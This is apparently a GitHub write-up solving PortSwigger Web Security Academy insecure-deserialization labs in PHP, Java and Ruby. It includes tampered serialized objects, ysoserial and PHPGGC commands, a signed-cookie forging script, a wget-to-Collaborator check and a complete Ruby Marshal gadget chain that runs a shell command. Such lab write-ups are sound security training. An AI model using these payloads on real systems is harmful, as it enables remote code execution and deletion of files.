portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to Insecure Deserialization:

2 Modifying serialized data types

This lab demonstrates how attackers can alter serialized data types to manipulate application behavior.

3 Using application functionality to exploit insecure deserialization

This lab shows how legitimate application functionality can be leveraged to exploit insecure deserialization vulnerabilities.

4 Arbitrary object injection in PHP

This lab demonstrates how attackers can inject arbitrary objects into PHP applications to achieve malicious effects.

5 Exploiting Java deserialization with Apache Commons

This lab shows how attackers can exploit insecure Java deserialization using gadget chains in the Apache Commons Collections library.

6 Exploiting PHP deserialization with a pre-built gadget chain

This lab demonstrates how attackers can exploit PHP deserialization vulnerabilities using pre-existing gadget chains for remote code execution.

7 Exploiting Ruby deserialization using a documented gadget chain

This lab shows how attackers can exploit Ruby deserialization vulnerabilities using documented gadget chains to achieve code execution.

LAB 2 - Modifying serialized data types

Lab Description

image

Solution

image

Now,First I login as winer and copy the cookie

image

Decode it and we will get serilized data

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"t7h1f2f94n90ui9rewro388nwm1ause8";}  looking at serilzed data we can see that winere is 

user length 6 and access token has length 12 of string type to get admin we have to chang them

image

So to get the admin access I have change s :6: wiener to s:13: administer because adminintor has 13 word and we did not have acess token and its type is string at that time I change it datatype to Integer represent by I and value 0

image

Copy and paste to cookie and send request and we will get 302 redirection and admin panel

image

To access admin panel we have to navigate to /admin

image

Now we have to delete carlos to solve the lab and we can see highlighted sign to how do delete carlos and then lab is solved

image

After successfully deleting carlos we can see no more carlos redirection to delete and lab is solved after deleting carlos which we have did it.

image

When working directly with binary formats, we recommend using the Hackvertor extension, available from the BApp store. With Hackvertor, you can modify the serialized data as a string, and it will automatically update the binary data, adjusting the offsets accordingly. This can save you a lot of manual effort.


LAB 3 - Using application functionality to exploit insecure deserialization

Lab Description

image

Overview: Using Application Functionality in Insecure Deserialization Attacks

What is it? Beyond simply extracting or modifying data, insecure deserialization vulnerabilities can be abused to invoke application functionality in unintended and dangerous ways. This occurs when the application performs actions based on deserialized object properties without proper validation.


Why It’s Dangerous

When an application deserializes user-controllable input, it re-creates objects with all their attributes. If the application later uses these attributes to carry out actions (like deleting files or sending emails), an attacker can manipulate the object to make the application execute harmful behavior.


Example Scenario

Imagine the following process:

If the user object is deserialized from untrusted input, an attacker could send a modified object like:

O:4:"User":1:{s:14:"image_location";s:18:"/etc/passwd";}

When the attacker deletes their account, the application will attempt to delete /etc/passwd — a sensitive system file.


Key Risks


Solution

First after login with winer:peter we can see upload option deleted option inspecting delete option reveal delete method through form method /myaccount/delete

image

So we login as wiener and we have cookie decode it reveal the serialized data

image

After login as backup 2 account that is provided to us we can see in both the file upload location with specific username, So when we deleted account the profile picture whom upload options is given to also also deleted that profile picture, Now we can take advantage of that we can point file to arbitary location in serialized data and delete account which will also arbitrary file or moral.txt which is /home/carlos/morale.txt and lab is solved

image

Now change location to that we ask to /home/carlos…. ,Now final step is click on deleted Intercept it and the paste below base64 encoded in cookie and then lab is solved

image

Now paste above serilzed data and then it will delete carlos file and the lab is solved.

image

We can see that after redirection lab is solved.

image


LAB 4 - Arbitrary object injection in PHP

Lab Description

image

Overview: Insecure Deserialization via Magic Methods and Arbitrary Object Injection


What Are Magic Methods?

Magic methods are special methods in object-oriented programming that are automatically invoked when specific actions occur. They are named with double underscores (e.g., __wakeup, __toString, __get) and exist in languages like PHP and Java.

Magic methods themselves are not vulnerabilities, but when used in conjunction with attacker-controlled serialized data, they can be dangerous.


🛠️ Why This Matters for Deserialization Attacks

During insecure deserialization:

This makes deserialization vulnerabilities much more powerful than simple object tampering.


Example Scenarios

  1. PHP Magic Method (__wakeup)

    • Used to reinitialize resources when an object is unserialized.
    • If an attacker controls the __wakeup() logic (e.g., deletes a file path based on object property), it can be abused.
  2. Java Magic Method (readObject)

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        // Called automatically during deserialization
        // If attacker controls data read here, code execution possible
    }
    

Arbitrary Object Injection

One powerful aspect of insecure deserialization is the ability to inject objects of any class available in the application:

This means attackers can execute code from any class loaded in the application, even if it’s unrelated to the intended functionality.


🔍 Exploitation Process Summary

  1. Identify application areas that deserialize data (e.g., cookies, hidden form fields, session tokens).
  2. Enumerate classes in the codebase (source code, libraries, etc.).
  3. Look for classes with dangerous magic methods (__wakeup, readObject, etc.).
  4. Craft a serialized object of the target class, with controlled properties triggering malicious logic.
  5. Send the serialized object to the vulnerable endpoint.
  6. Trigger the deserialization and execution of the payload.

Solution

Now when I login in provided credential and click some of link when I goto sitemap and see php file look like serilizing and unserilzed code then send request to repetaer But it doesnot have any code or we are unenabled to read the code

image

Now after that I enter tilde (~) sign in the last of file and now we can read the code as shown in below image

Burp Suite contains this check in the Content discovery functionality. Unfortunately, not all common extensions are included by default. For example, vi adds a ~ to the filename for the backup file which is not included in the extension list provided by Burp.

image

This is below is decoded cookie of winer we used differnet serilized attack but noting happened like changeing username to admin e.t.c

image

image

Appending tilde (~) sign in the last of file on cutomtemplate.php we get below code

In the provided code, there are two attributes (also referred to as properties) defined within the CustomTemplate class:

  1. $template_file_path: This attribute stores the path to the template file associated with the CustomTemplate object.
  2. $lock_file_path: This attribute stores the path to the lock file associated with the template file. It is constructed by appending “.lock” to the template file path.

image

In the source code, notice the CustomTemplate class contains the __destruct() magic method. This will invoke the unlink() method on the lock_file_path attribute, which will delete the file on this path. In Burp Decoder, use the correct syntax for serialized PHP data to create a CustomTemplate object with the lock_file_path attribute set to /home/carlos/morale.txt. Make sure to use the correct data type labels and length indicators. The final object should look like this:

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

image

Base64 encoded the serilized data and paste in cookie then lab is solved

image

Of course, the page logic fails as it expects a User object which is not there. But my CustomTemplate object was deserialized and instantiated. Upon destruction and giving us 500 errorbut file is deleted and lab is solved

image

image


LAB 5 - Exploiting Java deserialization with Apache Commons

Lab Description

image

Hint: Running ysoserial with Java 16+

In Java 16 and above, stricter access controls require you to specify certain --add-opens options to allow ysoserial to function correctly. Without these, you may encounter IllegalAccessException errors due to inaccessible internal classes.

Example Command

java \
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
  --add-opens=java.base/java.net=ALL-UNNAMED \
  --add-opens=java.base/java.util=ALL-UNNAMED \
  -jar ysoserial-all.jar [payload] '[command]'

Overview: Gadget Chains in Insecure Deserialization Attacks


What is a Gadget Chain?

A gadget chain is a sequence of method calls across different classes that, when triggered during deserialization, leads to unintended behavior — often remote code execution (RCE) or file manipulation.

Analogy: Like dominoes — each gadget (domino) is harmless on its own, but when connected properly, tipping the first one leads to a cascading effect.


Example of a Gadget Chain in Action

Imagine a web app that serializes image upload data:

  1. Kick-off Gadget: The attacker uploads a malicious file that gets deserialized by the app.
  2. Gadget 1: The app reads image metadata (from attacker-supplied input).
  3. Gadget 2: It uses metadata to generate a file path.
  4. Gadget 3: The file path includes attacker-controlled path traversal (../../etc/passwd).
  5. Sink Gadget: The app writes the image to disk, overwriting critical files.

Why Gadget Chains Are Effective

You don’t always need to write custom gadget chains — you can reuse public chains discovered by the community.


Pre-built Gadget Chains: Automating Exploitation

ysoserial (Java)

A popular tool for Java deserialization attacks.

Basic usage:

java -jar ysoserial-all.jar CommonsCollections1 'touch /tmp/pwned'

For Java 16+ (due to stricter module access), use:

java \
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
  --add-opens=java.base/java.net=ALL-UNNAMED \
  --add-opens=java.base/java.util=ALL-UNNAMED \
  -jar ysoserial-all.jar CommonsCollections1 'your-command'

Other Tools for Gadget Chains


Solution

Firstly, I have download yererila from this link https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar and java 14 version from here https://jdk.java.net/archive/

image

As this tool have a lot of payload but I have choose Common Collection4 and copy base64 code

image

As we knew from cookies that it is java serilized because it starts from rOO

Java serialized data always starts with ac ed 00 05 hexadecimal bytes and rO0 in base64 format.

image

So I copy and paste cookie then urlencode key character and then send it which will gives Instantiate Transformer error

image

After sending above request we get reponse we have solved the lab

image


LAB 6 - Exploiting PHP deserialization with a pre-built gadget chain

Lab Description

image

Overview: Using Detection Gadget Chains in Deserialization Attacks


When testing for insecure deserialization, it’s not always about remote code execution (RCE). Some gadget chains are designed for detection, allowing you to confirm that deserialization is happening — even if you can’t immediately run arbitrary commands.


Detection-Focused Gadget Chains (Java)

1. URLDNS (Universal DNS Gadget Chain)


2. JRMPClient


🐘 PHP Generic Gadget Chains (PHPGGC)


Summary

Gadget Chain Language Detection Method Works Without Library?
URLDNS Java DNS query ✅ Yes
JRMPClient Java TCP delay/timing ✅ Yes
PHPGGC PHP Varies (error, RCE) ❌ Depends on library

Solution

Notice the comment <! — <a href=/cgi-bin/phpinfo.php>Debug</a>

image

This is the path to the information about the current state of PHP.

image

image

Browse the page looking for any interesting information. In the environment section you will see a SECRET_KEY variable provided.

image

After the authentication session cookie is returned from the server we url decode it which is a serialized object signed using the SHA1 algorithm. There are two fields, token and sig_hmac_sha1.The key we found in the last step most likely is the one used to sign this cookie.

image

After decoding above base64 token value we get serilized data.

image

Modifying the cookie and observe the response from the server. Changing the signature value or the token results in an error in the response disclosing the framework and its version Symfony: 4.3.6.

image

Use the PHPGGC tool to generate a POC for Symfony 4.3.6.

List gadget chains using: phpggc -l. There are a few gadget chains available for the framework. You may need to try more than one gadget chain. In my lab, Symfony/RCE8 and Symfony/RCE4 did not work. Symfony/RCE7 did.

image

Run the following command to get information about any of the gadget chains: phpggc -i Symfony/RCE7

image

Generate a gadget chain with the wget command to trigger a request to Burp Collaborator. This way you can validate whether the gadget chain works regardless of the errors it may throw.**phpggc Symfony/RCE7 system ‘wget ’ | base64**

image

Decoding session cookie token we get

image

Method to solve lab

Now, generate a gadget chain with ‘rm /home/carlos/morale.txt’. phpggc Symfony/RCE4 exec ‘rm /home/carlos/morale.txt’ | base64

image

Assign the secret key that you copied from the phpinfo.php file to the $secretKey variable.


<?php
$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;

image

○ This will output a valid, signed cookie to the console.

image

In Burp Repeater, replace your session cookie with the malicious one you just created, then send the request to solve the lab.

image


LAB 7 - Exploiting Ruby deserialization using a documented gadget chain

Lab Description

image

Solution

Working with documented gadget chains There may not always be a dedicated tool available for exploiting known gadget chains in the framework used by the target application. In this case, it’s always worth looking online to see if there are any documented exploits that you can adapt manually. Tweaking the code may require some basic understanding of the language and framework, and you might sometimes need to serialize the object yourself, but this approach is still considerably less effort than building an exploit from scratch

We start the lab by logging into our account,and copy the cookie

image

Decoding the cookie session shows marshall-dump ‘conversion to byte array’ for the object and a marshal-load which tries to reconstruct the object, this clearly indicates that the object is ruby serialized.

Ruby, a popular web development language, offers a built-in feature called “serialization” to convert objects into a byte stream (series of bytes) that can be easily stored and transmitted. This process is achieved using the Marshal library.

marshall-dump: This suggests that the object in the cookie was first converted into a byte array using the Marshal.dump method. • marshal-load: This implies that the server, upon receiving the cookie, attempts to reconstruct the original object from the byte array using Marshal.load.

image

In the statement, it is specified that the server uses the Ruby on Rails (ROR) framework. We will use a script written by Luke Jahnke ( https://www.elttam.com/blog/ruby-deserialization/#content) which will generate a serialized object taking advantage of a “ gadjet chain”present in the framework used, to execute a command (in our context we want to delete the morale.txt file )

With this knowledge, we can try craft an exploit with the command we need to execute, in this case ‘rm /home/carlos/morale.txt’ in this case, we will use a Universal Deserialisation Gadget for Ruby 2.x-3.x exploit by Vaks https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html and replace the parameters to the final exploit shown below.

code

require 'base64'
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
 # Ensure the Base64 module is required

# Your previous code...

# Encode the payload in Base64
encoded_payload = Base64.encode64(payload)

# Print the encoded payload
puts encoded_payload
puts payload

Output:

image

Notice: The id parameter is replaced with ‘rm /home/carlos/morale.txt’

i deleted the last two lines and replaced with puts payloads as i will base64 encode it on the terminal.

image

Copy and pasting above base64 encode cookie the lab is solved

image